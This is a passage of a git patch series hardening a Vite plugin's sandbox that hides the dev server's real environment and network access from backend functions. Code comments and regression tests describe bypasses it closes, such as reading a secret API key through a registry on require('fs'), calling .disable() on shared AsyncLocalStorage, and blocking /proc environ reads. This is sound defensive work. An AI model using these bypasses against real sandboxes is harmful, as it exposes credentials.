isBlockedEnvironPath(rawPath: unknown): boolean { // Short-circuits before touching rawPath at all when no scope is active — extractFdNumber reads // a real FileHandle's native .fd getter, which callers outside any scope must never trigger. - if (sharedState.scopedEnvContext.getStore() === undefined) { + if (nativeGetStore() === undefined) { return false; } const fdNumber = extractFdNumber(rawPath); @@ -534,6 +557,24 @@ process.report.getReport = wrapReportFn(originalGetReport, (original, ...args) = const originalWriteReport = process.report.writeReport.bind(process.report); process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...args) => { + if (sharedState.activeScopeCount > 0) { + // writeReport(fileName?, err?) also accepts writeReport(err?) with no fileName at all — + // only a string first argument is ever a caller-chosen destination, so this branch is + // skipped (falling through to Node's own write below) when none was given. + const fileNameArg = args[0]; + if (typeof fileNameArg === 'string') { + // Builds the redacted report ourselves and writes it directly, rather than letting Node + // persist the real report first and rewriting it after — that would leave the unredacted + // content on disk for a real window if anything between the two writes throws. + // Cast: TS collapses the bound writeReport's overloads to the single-arg `(err?: Error)` + // form, so the real two-arg tuple needs restating to reach the err argument at index 1. + const errArg = (args as unknown as [string?, Error?])[1]; + const report = originalGetReport(errArg) as ReportLike; + delete report.environmentVariables; + fs.writeFileSync(fileNameArg, JSON.stringify(report, null, 2)); + return fileNameArg; + } + } const filename = original(...args); if (sharedState.activeScopeCount > 0) { const rawReport = fs.readFileSync(filename, 'utf8'); From ac4110eb860524f763dab55c99798539df9b1a54 Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Thu, 10 Sep 2026 19:47:30 -0400 Subject: [PATCH 6/7] fix(apps): stop exposing raw realEnv/AsyncLocalStorage on the shared fs/net registries MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Both env-guard.ts and network-guard.ts stashed their shared state as plain mutable fields on a registry attached to fs/net for cross-bundled-copy sharing — any code with require('fs')/require('net'), including a backend function's own third-party dependencies, could read the real environment directly or call .disable() on the raw AsyncLocalStorage instance to kill scope/network-block detection process-wide. Every registry entry now exposes only functions that re-check the real async-continuation state before doing anything sensitive, so calling them from inside an active scope yields the same result a legitimate caller gets. Scope-count mutation is additionally gated by a per-scope Symbol() capability token, closing the "decrement enough times to disarm redaction early" bypass a raw counter would allow. --- .../plugins/apps/src/vite/env-guard.test.ts | 69 +++- packages/plugins/apps/src/vite/env-guard.ts | 352 +++++++++--------- .../apps/src/vite/network-guard.test.ts | 21 ++ .../plugins/apps/src/vite/network-guard.ts | 31 +- 4 files changed, 272 insertions(+), 201 deletions(-) diff --git a/packages/plugins/apps/src/vite/env-guard.test.ts b/packages/plugins/apps/src/vite/env-guard.test.ts index fbf1561cf..c0ef40a2c 100644 --- a/packages/plugins/apps/src/vite/env-guard.test.ts +++ b/packages/plugins/apps/src/vite/env-guard.test.ts @@ -20,8 +20,8 @@ afterEach(() => { // immune to a jest.spyOn() applied afterward — that's the whole point (see env-guard.ts's own // comment on nativeRealpathSync/nativeReadlinkSync). A test that needs its mock to reach those // checks has to force a fresh module evaluation, via the same jest.isolateModules() + require() -// pattern already used above, AFTER installing the spy — sharedState (env scoping, activeScopeCount) -// still converges on the one real fs-keyed instance, so the top-level imported runWithScopedEnv/ +// pattern already used above, AFTER installing the spy — the shared env/scope state still +// converges on the one real fs-keyed instance, so the top-level imported runWithScopedEnv/ // fs.promises.* continue to work unchanged; only the native captures are freshly re-read. function reEvaluateEnvGuardWithCurrentMocks(): void { jest.isolateModules(() => { @@ -43,8 +43,9 @@ describe('env-guard', () => { // "collection time", before the outer beforeAll has swapped process.env to the fake // baseline, so a plain `const originalEnv = process.env` here would still capture the real, // unswapped environment. The Proxy reference itself, not a value-snapshot copy: restoring via - // a copy is a genuine reassignment (pushed onto realEnvHistory) rather than the self-assignment - // pop that undoes each test's own swap — a copy would leave every test's push unbalanced. + // a copy is a genuine reassignment (pushed onto the restore history) rather than the + // self-assignment pop that undoes each test's own swap — a copy would leave every test's + // push unbalanced. let originalEnv: typeof process.env; beforeAll(() => { originalEnv = process.env; @@ -1235,10 +1236,9 @@ describe('env-guard', () => { }); // Regression coverage: if a zombie scope's runWithScopedEnv finally fires AFTER - // forceResetEnv() already zeroed activeScopeCount (the ordering a test harness's afterEach - // produces against a scope deliberately left open), an unclamped decrement drives the count - // negative — every later scope's increment then lands on 0 instead of 1, so the `=== 1` - // branch that arms excludeEnv protection never fires again. + // forceResetEnv() already cleared it (the ordering a test harness's afterEach produces + // against a scope deliberately left open), its disarmScope(token) call must find its own + // token already gone and no-op, rather than corrupting state a later scope relies on. test("Should still arm excludeEnv protection for a later scope after forceResetEnv() races a zombie scope's own decrement", async () => { let resolveZombie: (() => void) | undefined; const zombie = runWithScopedEnv({ PATH: '/zombie' }, async () => { @@ -1257,9 +1257,9 @@ describe('env-guard', () => { }); }); - // Regression coverage: without resetEpoch, a zombie's finally firing after forceResetEnv() - // has run — but while a later, unrelated scope is still active — would decrement and - // restore against that later scope's state, disarming excludeEnv protection mid-run. + // Regression coverage: a zombie's finally firing after forceResetEnv() has run — but while a + // later, unrelated scope is still active — must find its own token already cleared and + // no-op, not decrement/restore against that later scope's still-active state. test("Should not let a zombie scope's post-forceResetEnv finally disarm excludeEnv for a still-active later scope", async () => { const before = processReport.excludeEnv; @@ -1294,4 +1294,51 @@ describe('env-guard', () => { expect(processReport.excludeEnv).toBe(before); }); }); + + // Regression coverage for a review finding: the shared state above is stashed on the public + // `fs` module so re-evaluations of this file converge on one instance, but that also makes it + // reachable via `require('fs')` by anything else in the same process, including a backend + // function's own third-party dependencies. A raw `realEnv` field there would hand out the real + // environment directly; a raw AsyncLocalStorage instance would let a caller disarm scope + // detection process-wide via its own `.disable()`. Every value on the registry must instead be + // a function whose own logic re-applies the real scope check before doing anything sensitive. + describe('fs-keyed shared registry exposure', () => { + const processReport = process.report; + + function getSharedRegistryEntry(): Record { + return (fs as unknown as Record>)[ + Symbol.for('@dd/apps-plugin/env-guard shared-state') + ]; + } + + test('Should expose only functions on the fs-keyed shared registry, never a raw realEnv/AsyncLocalStorage/counter field', () => { + const shared = getSharedRegistryEntry(); + expect(Object.keys(shared).length).toBeGreaterThan(0); + for (const value of Object.values(shared)) { + expect(typeof value).toBe('function'); + } + }); + + test('Should return the scoped view, not the real environment, from the registry\'s own accessor when called from inside an active scope — reproducing require("fs")[symbol].realEnv.DD_API_KEY from review', async () => { + process.env.DD_API_KEY = 'dev-server-real-secret'; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const shared = getSharedRegistryEntry(); + const currentEnv = (shared.getCurrentEnv as () => Record)(); + expect(currentEnv.DD_API_KEY).toBeUndefined(); + expect(currentEnv.PATH).toBe('/scoped'); + }); + } finally { + delete process.env.DD_API_KEY; + } + }); + + test("Should not let a forged token disarm an active scope's excludeEnv protection via the registry's own disarmScope", async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const shared = getSharedRegistryEntry(); + (shared.disarmScope as (token: symbol) => void)(Symbol('forged token')); + expect(processReport.excludeEnv).toBe(true); + }); + }); + }); }); diff --git a/packages/plugins/apps/src/vite/env-guard.ts b/packages/plugins/apps/src/vite/env-guard.ts index fed70fc44..df3f18ec0 100644 --- a/packages/plugins/apps/src/vite/env-guard.ts +++ b/packages/plugins/apps/src/vite/env-guard.ts @@ -86,56 +86,162 @@ export function buildScopedEnv(customCredentials: Record): Recor }); } -/** Everything a re-evaluation of this file needs to share with every other re-evaluation — see getSharedState()'s own comment for why this can't just be module-level `let`s. */ -interface SharedEnvGuardState { - scopedEnvContext: AsyncLocalStorage>; - realEnv: NodeJS.ProcessEnv; - // Pushed by the process.env setter before each non-proxy reassignment, popped (restoring - // realEnv) when the proxy itself is assigned back — implements `const saved = process.env; - // ...; process.env = saved;` correctly for arbitrarily nested save/restore, not just a no-op - // that leaves realEnv stuck at whatever the swap set it to. - realEnvHistory: NodeJS.ProcessEnv[]; - activeScopeCount: number; - savedExcludeEnv: boolean | undefined; - // Bumped by forceResetEnv() so a zombie scope's delayed finally can detect it was forcibly - // closed out already, and skip re-applying its decrement/restore against whatever different, - // still-running scope has since claimed the shared activeScopeCount. - resetEpoch: number; - // process.report.excludeEnv already has a native getter/setter of its own (Node validates the - // assigned value there), so "does it already have an accessor" can't tell our guarded version - // apart from Node's own stock one — this is the actual install marker, checked instead. - excludeEnvGuardInstalled: boolean; - // The raw, unguarded apply function — runWithScopedEnv's own arm/disarm calls this directly - // instead of the public `processReport.excludeEnv =` accessor, since that accessor defers any - // write made while a scope is active and would otherwise swallow the framework's own trusted call. - applyExcludeEnvValue: (newValue: boolean | undefined) => void; +/** + * Everything a re-evaluation of this file needs to share with every other re-evaluation — see + * getSharedState()'s own comment for why this can't just be module-level `let`s. + * + * Every member here is a function, not a data field: the object this describes is stashed on the + * public `fs` module (see getSharedState()), so any code with `require('fs')` — including a + * backend function's own third-party dependencies — can read whatever this exposes. A raw + * `realEnv` field would hand out the real, unscoped environment directly; a raw `AsyncLocalStorage` + * instance would let a caller disarm scope detection process-wide via its own `.disable()`. Every + * function here instead re-applies the real scope check (via a `getStore()` bound at module load, + * immune to later tampering) before doing anything sensitive, so calling it from inside an active + * scope — legitimately or not — always yields the same safe result a real caller would get. + */ +interface EnvGuardSharedState { + getCurrentEnv(): Record | NodeJS.ProcessEnv; + isInsideScope(): boolean; + setRealEnvIfOutsideScope(newValue: NodeJS.ProcessEnv): void; + restoreRealEnvFromHistory(): void; + runInScope(scopedEnv: Record, fn: () => Promise): Promise; + // Symbol() (not Symbol.for), so the token is never attached as a discoverable property anywhere + // — Object.getOwnPropertySymbols can't reveal it, and it can't be reconstructed from a string. + // Only the exact token armScope() returned can end the scope it identifies, closing off the + // "call the shared decrement directly enough times to zero the count early" bypass a raw counter + // would allow any caller with `require('fs')` to trigger. + armScope(): symbol; + disarmScope(token: symbol): void; + forceResetAllScopes(): void; + isAnyScopeActive(): boolean; + getExcludeEnv(): boolean | undefined; } // Keyed on the real `fs` module, via the same getOrCreateShared() helper network-guard.ts uses: // this file gets evaluated more than once (bundled copies, Jest's per-test-file isolation), and -// every evaluation must share the same scopedEnvContext/realEnv/activeScopeCount or a later -// evaluation's Proxy would never consult the storage an earlier evaluation's scope populates. -function getSharedState(): SharedEnvGuardState { - return getOrCreateShared(fs, '@dd/apps-plugin/env-guard shared-state', () => ({ - scopedEnvContext: new AsyncLocalStorage>(), - realEnv: process.env, - realEnvHistory: [], - activeScopeCount: 0, - savedExcludeEnv: undefined, - resetEpoch: 0, - excludeEnvGuardInstalled: false, - applyExcludeEnvValue: () => {}, - })); +// every evaluation must share the same scope/env/count state or a later evaluation's Proxy would +// never consult the storage an earlier evaluation's scope populates. The factory runs exactly once +// across every evaluation (see getOrCreateShared), so anything done here — including installing +// process.report.excludeEnv's accessor below — is inherently a run-once side effect, with no +// separate "already installed" marker needed. +function getSharedState(): EnvGuardSharedState { + return getOrCreateShared(fs, '@dd/apps-plugin/env-guard shared-state', () => { + const scopedEnvContext = new AsyncLocalStorage>(); + // Bound here, at first-ever creation — before any customer code has had a chance to run — + // so a later `AsyncLocalStorage.prototype.getStore = () => undefined` from inside a backend + // function can't make every scoped lookup fall through to the real environment. + const nativeGetStore = AsyncLocalStorage.prototype.getStore.bind(scopedEnvContext); + let realEnv: NodeJS.ProcessEnv = process.env; + // Pushed before each non-proxy reassignment, popped when the proxy itself is assigned back + // — implements `const saved = process.env; ...; process.env = saved;` correctly for + // arbitrarily nested save/restore, not just a no-op that leaves realEnv stuck mid-swap. + const realEnvHistory: NodeJS.ProcessEnv[] = []; + const activeScopeTokens = new Set(); + let savedExcludeEnv: boolean | undefined; + + function currentEnv(): Record | NodeJS.ProcessEnv { + return nativeGetStore() ?? realEnv; + } + + // process.report.excludeEnv already has a native getter/setter on Node >=22.13.0 — this + // wraps it so an armed scope can't be disarmed with `process.report.excludeEnv = false` + // from inside itself. On older Node (CI pins 20.19.4) there's no real accessor to wrap, but + // a plain shadow variable still keeps read/write consistent even though it has no effect on + // report generation on that version either way. + const nativeExcludeEnvDescriptor = Object.getOwnPropertyDescriptor( + process.report, + 'excludeEnv', + ); + let getExcludeEnv: () => boolean | undefined; + let applyExcludeEnvValue: (newValue: boolean | undefined) => void; + if (nativeExcludeEnvDescriptor?.get && nativeExcludeEnvDescriptor.set) { + getExcludeEnv = nativeExcludeEnvDescriptor.get.bind(process.report); + applyExcludeEnvValue = nativeExcludeEnvDescriptor.set.bind(process.report); + } else { + let excludeEnvValue: boolean | undefined = process.report.excludeEnv; + getExcludeEnv = () => excludeEnvValue; + applyExcludeEnvValue = (newValue) => { + excludeEnvValue = newValue; + }; + } + + function restoreExcludeEnvIfLastScope(): void { + if (activeScopeTokens.size === 0) { + applyExcludeEnvValue(savedExcludeEnv); + savedExcludeEnv = undefined; + } + } + + Object.defineProperty(process.report, 'excludeEnv', { + configurable: false, + enumerable: true, + get: getExcludeEnv, + set: (newValue: boolean | undefined) => { + if (nativeGetStore() !== undefined) { + throw new Error( + "Reassigning process.report.excludeEnv is not allowed in backend functions — it would let a backend function's own diagnostic report include the dev server's real environment. This is armed automatically for the duration of the function's execution.", + ); + } + if (activeScopeTokens.size > 0) { + // An unrelated caller writing from outside any scope while a DIFFERENT scope is + // still active elsewhere — applying it immediately would disarm redaction out + // from under that scope, so it's deferred until the active scope's own cleanup. + savedExcludeEnv = newValue; + return; + } + applyExcludeEnvValue(newValue); + }, + }); + + return { + getCurrentEnv: currentEnv, + isInsideScope: () => nativeGetStore() !== undefined, + setRealEnvIfOutsideScope: (newValue) => { + if (nativeGetStore() !== undefined) { + throw new Error( + "Reassigning process.env is not allowed in backend functions — it would corrupt the dev server's real environment for every future execution. Use $.Source or a declared Custom Credential instead.", + ); + } + realEnvHistory.push(realEnv); + realEnv = newValue; + }, + restoreRealEnvFromHistory: () => { + if (realEnvHistory.length > 0) { + realEnv = realEnvHistory.pop() as NodeJS.ProcessEnv; + } + }, + runInScope: (scopedEnv, fn) => scopedEnvContext.run(scopedEnv, fn), + armScope: () => { + const token = Symbol('env-guard scope token'); + if (activeScopeTokens.size === 0) { + savedExcludeEnv = getExcludeEnv(); + applyExcludeEnvValue(true); + } + activeScopeTokens.add(token); + return token; + }, + disarmScope: (token) => { + // Set.delete() returns false when the token is already gone — e.g. forceResetEnv() + // cleared every token first — meaning this scope's decrement/restore obligation was + // already forcibly discharged, and the shared state now belongs to a later scope. + if (activeScopeTokens.delete(token)) { + restoreExcludeEnvIfLastScope(); + } + }, + forceResetAllScopes: () => { + if (activeScopeTokens.size > 0) { + activeScopeTokens.clear(); + restoreExcludeEnvIfLastScope(); + } + }, + isAnyScopeActive: () => activeScopeTokens.size > 0, + getExcludeEnv, + }; + }); } const sharedState = getSharedState(); -// Bound at module load — before any customer code has had a chance to run — so a later -// `AsyncLocalStorage.prototype.getStore = () => undefined` from inside a backend function can't -// make every scoped lookup fall through to sharedState.realEnv. Every scope check below calls this -// instead of sharedState.scopedEnvContext.getStore() directly. -const nativeGetStore = AsyncLocalStorage.prototype.getStore.bind(sharedState.scopedEnvContext); - // Symbol.for(), not a plain Symbol() or object-identity check — same cross-module-instance reasoning // as getSharedState() above: a reference-identity check would fail to recognize another evaluation's // already-installed Proxy as "already one of these," and each would wrap the other's, looping the @@ -152,32 +258,18 @@ function isEnvProxy(value: unknown): boolean { ); } -function currentEnv(): Record | NodeJS.ProcessEnv { - return nativeGetStore() ?? sharedState.realEnv; -} - -// Shared by every Proxy trap below that does nothing but forward to currentEnv() with no extra -// logic of its own — get/has are hand-written instead, since both also short-circuit ENV_PROXY_MARKER. +// Shared by every Proxy trap below that does nothing but forward to sharedState.getCurrentEnv() +// with no extra logic of its own — get/has are hand-written instead, since both also +// short-circuit ENV_PROXY_MARKER. function forwardToCurrentEnv( reflectFn: (env: Record | NodeJS.ProcessEnv, ...args: Args) => R, ): (_target: NodeJS.ProcessEnv, ...args: Args) => R { return (_target, ...args) => { - const env = currentEnv(); + const env = sharedState.getCurrentEnv(); return reflectFn(env, ...args); }; } -// Shared by process.env's own reassignment setter below and process.report.excludeEnv's later in -// this file — both reject a reassignment made BY code running inside its own active scope, so -// trusted reassignment from outside any scope (a test's own isolation swap, a dotenv-style tool) -// keeps working exactly as before, even while some OTHER, unrelated scope happens to be -// concurrently active. -function assertNotInsideActiveScope(errorMessage: string): void { - if (nativeGetStore() !== undefined) { - throw new Error(errorMessage); - } -} - // Re-checked on every runWithScopedEnv call rather than installed once and assumed permanent, since // isEnvProxy() is what actually detects "is this already installed" — the accessor property below // makes a bare `process.env = X` (rather than a call through this function) impossible to reach the @@ -187,22 +279,21 @@ function ensureEnvProxyInstalled(): void { if (isEnvProxy(process.env)) { return; } - sharedState.realEnv = process.env; - const proxy = new Proxy(sharedState.realEnv, { + const proxy = new Proxy(process.env, { get: (_target, prop, receiver) => { if (prop === ENV_PROXY_MARKER) { return true; } - const env = currentEnv(); + const env = sharedState.getCurrentEnv(); return Reflect.get(env, prop, receiver); }, // Not forwardToCurrentEnv(Reflect.set): a plain `process.env[key] = value` passes the Proxy // itself as `receiver`, which for an existing writable property falls back to a PARTIAL // descriptor that Node's native process.env binding rejects outright. Omitting `receiver` // from Reflect.set defaults it to `env` itself, resolving as a direct set instead. - set: (_target, prop, value) => Reflect.set(currentEnv(), prop, value), + set: (_target, prop, value) => Reflect.set(sharedState.getCurrentEnv(), prop, value), has: (_target, prop) => { - const env = currentEnv(); + const env = sharedState.getCurrentEnv(); return prop === ENV_PROXY_MARKER || Reflect.has(env, prop); }, deleteProperty: forwardToCurrentEnv(Reflect.deleteProperty), @@ -211,14 +302,14 @@ function ensureEnvProxyInstalled(): void { defineProperty: forwardToCurrentEnv(Reflect.defineProperty), // Without this trap, Object.setPrototypeOf(process.env, ...) defaults to forwarding to // `target` (the real, unscoped env object) and silently poisons its prototype chain - // permanently, even when called from inside a scope — since currentEnv() only affects + // permanently, even when called from inside a scope — since getCurrentEnv() only affects // property access, not the object identity a prototype mutation lands on. setPrototypeOf: forwardToCurrentEnv(Reflect.setPrototypeOf), // Paired with setPrototypeOf above: without this trap, a customer function that sets a // scoped prototype and immediately reads it back would see `target`'s (the real env's) // untouched prototype instead of the one it just set on the scoped view. getPrototypeOf: forwardToCurrentEnv(Reflect.getPrototypeOf), - // Can't forward to currentEnv(): the Proxy invariants only honor a `preventExtensions` trap + // Can't forward to getCurrentEnv(): the Proxy invariants only honor a `preventExtensions` trap // returning `true` if `target` (always the real env object) is also non-extensible, so // routing this to the scoped object would either desync the invariant or force freezing the // real env process-wide. Refusing outright is the only option that risks neither. @@ -236,20 +327,14 @@ function ensureEnvProxyInstalled(): void { set: (newValue: NodeJS.ProcessEnv) => { // Self-assignment: something captured process.env (getting this same proxy back, e.g. // a test's own `const saved = process.env; ...; process.env = saved;` restore pattern) - // and wrote it back. Popping realEnvHistory — rather than a no-op — actually restores - // the pre-swap value; adopting the proxy itself as realEnv instead would make every + // and wrote it back. Restoring the pre-swap value from history — rather than a no-op — + // makes this correct; adopting the proxy itself as the real env instead would make every // future unscoped read recurse back through this same trap forever. if (isEnvProxy(newValue)) { - if (sharedState.realEnvHistory.length > 0) { - sharedState.realEnv = sharedState.realEnvHistory.pop() as NodeJS.ProcessEnv; - } + sharedState.restoreRealEnvFromHistory(); return; } - assertNotInsideActiveScope( - "Reassigning process.env is not allowed in backend functions — it would corrupt the dev server's real environment for every future execution. Use $.Source or a declared Custom Credential instead.", - ); - sharedState.realEnvHistory.push(sharedState.realEnv); - sharedState.realEnv = newValue; + sharedState.setRealEnvIfOutsideScope(newValue); }, }); } @@ -328,7 +413,7 @@ function isEnvironPath(rawPath: unknown): boolean { const ENVIRON_READ_BLOCKED_MESSAGE = "Reading /proc/.../environ is not allowed in backend functions — it exposes the dev server's real, unscoped environment. Use $.Source or a declared Custom Credential instead."; -// Per-continuation, like currentEnv() above, so it can't fire for unrelated code running +// Per-continuation, like getCurrentEnv() above, so it can't fire for unrelated code running // concurrently on a different, unscoped continuation. A pure predicate (rather than throwing // itself) so it can also serve as makeGuardWrapper's shouldBlock. extractFdNumber unwraps an // already-open FileHandle to the same numeric fd toPathString() resolves via /proc/self/fd, so a @@ -336,7 +421,7 @@ const ENVIRON_READ_BLOCKED_MESSAGE = function isBlockedEnvironPath(rawPath: unknown): boolean { // Short-circuits before touching rawPath at all when no scope is active — extractFdNumber reads // a real FileHandle's native .fd getter, which callers outside any scope must never trigger. - if (nativeGetStore() === undefined) { + if (!sharedState.isInsideScope()) { return false; } const fdNumber = extractFdNumber(rawPath); @@ -466,61 +551,6 @@ declare global { } } } -const processReport = process.report; - -// excludeEnv has its own native setter on Node >=22.13.0, but that setter has no concept of "a -// customer function's own scope," so nothing stops one flipping it back off with -// `process.report.excludeEnv = false` from inside its own scope, silently disarming the -// protection runWithScopedEnv just armed. Guarded the same way process.env is: redefined as an -// accessor whose setter only rejects a reassignment made from inside an active scope. Wraps -// Node's own native get/set (when present) rather than a plain JS variable: the native -// report-generator triggered by --report-on-fatalerror/--report-on-signal reads Node's real -// internal flag directly, not this property, so a plain-variable shadow would have zero effect on -// those non-JS-triggered reports. Installed only once, tracked via -// sharedState.excludeEnvGuardInstalled rather than a descriptor check, since Node's own native -// accessor already has a getter and this file's top-level code re-runs on every evaluation. -function guardedExcludeEnvSetter(applyNewValue: (newValue: boolean | undefined) => void) { - return (newValue: boolean | undefined) => { - assertNotInsideActiveScope( - "Reassigning process.report.excludeEnv is not allowed in backend functions — it would let a backend function's own diagnostic report include the dev server's real environment. This is armed automatically for the duration of the function's execution.", - ); - if (sharedState.activeScopeCount > 0) { - // An unrelated caller writing from outside any scope while a DIFFERENT scope is still - // active elsewhere — applying it immediately would disarm redaction out from under - // that scope, so it's deferred to take effect once the active scope's own cleanup runs. - sharedState.savedExcludeEnv = newValue; - return; - } - applyNewValue(newValue); - }; -} - -if (!sharedState.excludeEnvGuardInstalled) { - const nativeExcludeEnvDescriptor = Object.getOwnPropertyDescriptor(processReport, 'excludeEnv'); - let excludeEnvGet: () => boolean | undefined; - let applyExcludeEnvValue: (newValue: boolean | undefined) => void; - if (nativeExcludeEnvDescriptor?.get && nativeExcludeEnvDescriptor.set) { - excludeEnvGet = nativeExcludeEnvDescriptor.get.bind(processReport); - applyExcludeEnvValue = nativeExcludeEnvDescriptor.set.bind(processReport); - } else { - // Node <22.13.0 (CI pins 20.19.4): no native accessor exists yet, so there's no real flag - // to keep in sync — a plain shadow variable is enough to guard reassignment, even though - // reading or writing it has no effect on report generation on this version either way. - let excludeEnvValue: boolean | undefined = processReport.excludeEnv; - excludeEnvGet = () => excludeEnvValue; - applyExcludeEnvValue = (newValue) => { - excludeEnvValue = newValue; - }; - } - sharedState.applyExcludeEnvValue = applyExcludeEnvValue; - Object.defineProperty(processReport, 'excludeEnv', { - configurable: false, - enumerable: true, - get: excludeEnvGet, - set: guardedExcludeEnvSetter(applyExcludeEnvValue), - }); - sharedState.excludeEnvGuardInstalled = true; -} type ReportLike = Record & { environmentVariables?: unknown }; @@ -549,7 +579,7 @@ function wrapReportFn unknown>( const originalGetReport = process.report.getReport.bind(process.report); process.report.getReport = wrapReportFn(originalGetReport, (original, ...args) => { const report = original(...args); - if (sharedState.activeScopeCount > 0 && hasEnvironmentVariables(report)) { + if (sharedState.isAnyScopeActive() && hasEnvironmentVariables(report)) { delete report.environmentVariables; } return report; @@ -557,7 +587,7 @@ process.report.getReport = wrapReportFn(originalGetReport, (original, ...args) = const originalWriteReport = process.report.writeReport.bind(process.report); process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...args) => { - if (sharedState.activeScopeCount > 0) { + if (sharedState.isAnyScopeActive()) { // writeReport(fileName?, err?) also accepts writeReport(err?) with no fileName at all — // only a string first argument is ever a caller-chosen destination, so this branch is // skipped (falling through to Node's own write below) when none was given. @@ -576,7 +606,7 @@ process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...arg } } const filename = original(...args); - if (sharedState.activeScopeCount > 0) { + if (sharedState.isAnyScopeActive()) { const rawReport = fs.readFileSync(filename, 'utf8'); const report: ReportLike = JSON.parse(rawReport); delete report.environmentVariables; @@ -591,50 +621,17 @@ process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...arg // references that stay bound to the original native functions otherwise. syncBuiltinESMExports(); -// Shared by runWithScopedEnv's finally and forceResetEnv's own reset, so the two restore paths -// can't drift apart. No separate "armed" flag is needed against a second, already-discharged -// call: the resetEpoch check in runWithScopedEnv's finally means a stale zombie scope can no -// longer reach this function at all once forceResetEnv() has run. -function restoreExcludeEnvIfLastScope(): void { - if (sharedState.activeScopeCount === 0) { - // Direct apply, not `processReport.excludeEnv = ...`, matching runWithScopedEnv's own arm - // step above — this is the framework's own trusted restore, not an outside caller's write. - sharedState.applyExcludeEnvValue(sharedState.savedExcludeEnv); - sharedState.savedExcludeEnv = undefined; - } -} - // Wraps only the customer function's own call in local-execution.ts's runScriptLocally, matching runBlocked's scope exactly. export async function runWithScopedEnv( scopedEnv: Record, fn: () => Promise, ): Promise { ensureEnvProxyInstalled(); - const myResetEpoch = sharedState.resetEpoch; - sharedState.activeScopeCount += 1; - if (sharedState.activeScopeCount === 1) { - // process.report.getReport()/writeReport() read the OS-level environment table directly, - // bypassing the process.env Proxy — this also sets excludeEnv for the auto-triggered report - // case on Node versions that support it. Applied directly via - // sharedState.applyExcludeEnvValue, not the guarded `processReport.excludeEnv =` accessor: - // activeScopeCount is already incremented by this point, so the guarded setter would defer - // this call as an outside caller's write instead of actually arming the flag. - sharedState.savedExcludeEnv = processReport.excludeEnv; - sharedState.applyExcludeEnvValue(true); - } + const token = sharedState.armScope(); try { - return await sharedState.scopedEnvContext.run(scopedEnv, fn); + return await sharedState.runInScope(scopedEnv, fn); } finally { - // Skipped once forceResetEnv() has bumped resetEpoch since this call started: that means - // this call's own decrement/restore obligation was already forcibly discharged, and the - // shared activeScopeCount now belongs to a different, later scope — touching it here would - // disarm that scope's still-active protection instead of this one's. - if (sharedState.resetEpoch === myResetEpoch) { - // Clamped at 0, not a bare decrement, as defense in depth against any other path that - // might desync the count from the number of genuinely open scopes. - sharedState.activeScopeCount = Math.max(0, sharedState.activeScopeCount - 1); - restoreExcludeEnvIfLastScope(); - } + sharedState.disarmScope(token); } } @@ -644,12 +641,5 @@ export async function runWithScopedEnv( // local-execution.ts's abandonExecutionAndRejectWith when a timed-out execution's fn() will never // settle and so never reach its finally. export function forceResetEnv(): void { - if (sharedState.activeScopeCount > 0) { - sharedState.activeScopeCount = 0; - // Invalidates every currently-open scope's own pending finally (see resetEpoch's own - // comment) — each one now finds resetEpoch has moved past its own snapshot and skips - // touching this state entirely, leaving it exclusively to whatever scope starts next. - sharedState.resetEpoch += 1; - restoreExcludeEnvIfLastScope(); - } + sharedState.forceResetAllScopes(); } diff --git a/packages/plugins/apps/src/vite/network-guard.test.ts b/packages/plugins/apps/src/vite/network-guard.test.ts index 87133152c..4ab764608 100644 --- a/packages/plugins/apps/src/vite/network-guard.test.ts +++ b/packages/plugins/apps/src/vite/network-guard.test.ts @@ -1182,6 +1182,27 @@ describe('installGuardedProperty security', () => { }); }).toThrow(/Cannot redefine property/); }); + + // Regression coverage for a review finding: the registry entry's own value used to be the raw + // AsyncLocalStorage instance, so any code with `require('net')` could call `.disable()` on it + // and permanently kill network blocking process-wide — a stronger bypass than reading a value, + // since it disarms every future runBlocked call too, not just the caller's own. + test('Should not let a `.disable()` call reached via the fs-keyed registry entry disarm network blocking for a later runBlocked call', async () => { + const symbol = Symbol.for('@dd/apps-plugin/network-guard blockedContext'); + const registry = net as unknown as Record>; + const entry = registry[symbol]; + + expect(typeof entry.isActive).toBe('function'); + expect(typeof entry.run).toBe('function'); + expect(entry.disable).toBeUndefined(); + expect(entry.getStore).toBeUndefined(); + + await expect( + runBlocked(async () => { + new net.Socket().connect(80, 'example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); }); describe('guardEventSource and guardWorker', () => { diff --git a/packages/plugins/apps/src/vite/network-guard.ts b/packages/plugins/apps/src/vite/network-guard.ts index 0c7623d33..73c8b0a47 100644 --- a/packages/plugins/apps/src/vite/network-guard.ts +++ b/packages/plugins/apps/src/vite/network-guard.ts @@ -27,16 +27,29 @@ const SUBPROCESS_BLOCKED_MESSAGE = 'Spawning a subprocess is not allowed in back const WORKER_THREAD_BLOCKED_MESSAGE = 'Spawning a worker thread is not allowed in backend functions.'; +interface GuardedAsyncContext { + isActive(): boolean; + run(fn: () => T): T; +} + // Keyed on the real `net` module (not a per-module `new AsyncLocalStorage()`) since this file gets // evaluated more than once — bundled copies and Jest's per-test-file isolation — and every // evaluation needs the same store. `globalThis`/`process` are sandboxed per test file too; core // modules aren't. isCurrentlyBlocked() is every guard's shared gate. -function getSharedContext(key: string): AsyncLocalStorage { - return getOrCreateShared( - net, - `@dd/apps-plugin/network-guard ${key}`, - () => new AsyncLocalStorage(), - ); +// +// Returns isActive()/run() rather than the raw AsyncLocalStorage instance: any code with +// `require('net')` — including a backend function's own third-party dependencies — can read +// whatever this stores, and a raw instance's own `.disable()` would let it kill this guard's scope +// detection process-wide. Neither exposed function does more than what run{Blocked,Allowed} below +// already do as exported functions, so this closes off nothing that reaches further than those. +function getSharedContext(key: string): GuardedAsyncContext { + return getOrCreateShared(net, `@dd/apps-plugin/network-guard ${key}`, () => { + const context = new AsyncLocalStorage(); + return { + isActive: () => context.getStore() === true, + run: (fn: () => T) => context.run(true, fn), + }; + }); } // Scoped to the active `runBlocked` call's async chain, not process-wide, so unrelated concurrent callers aren't blocked too. @@ -46,7 +59,7 @@ const blockedContext = getSharedContext('blockedContext'); const allowedContext = getSharedContext('allowedContext'); function isCurrentlyBlocked(): boolean { - return blockedContext.getStore() === true && 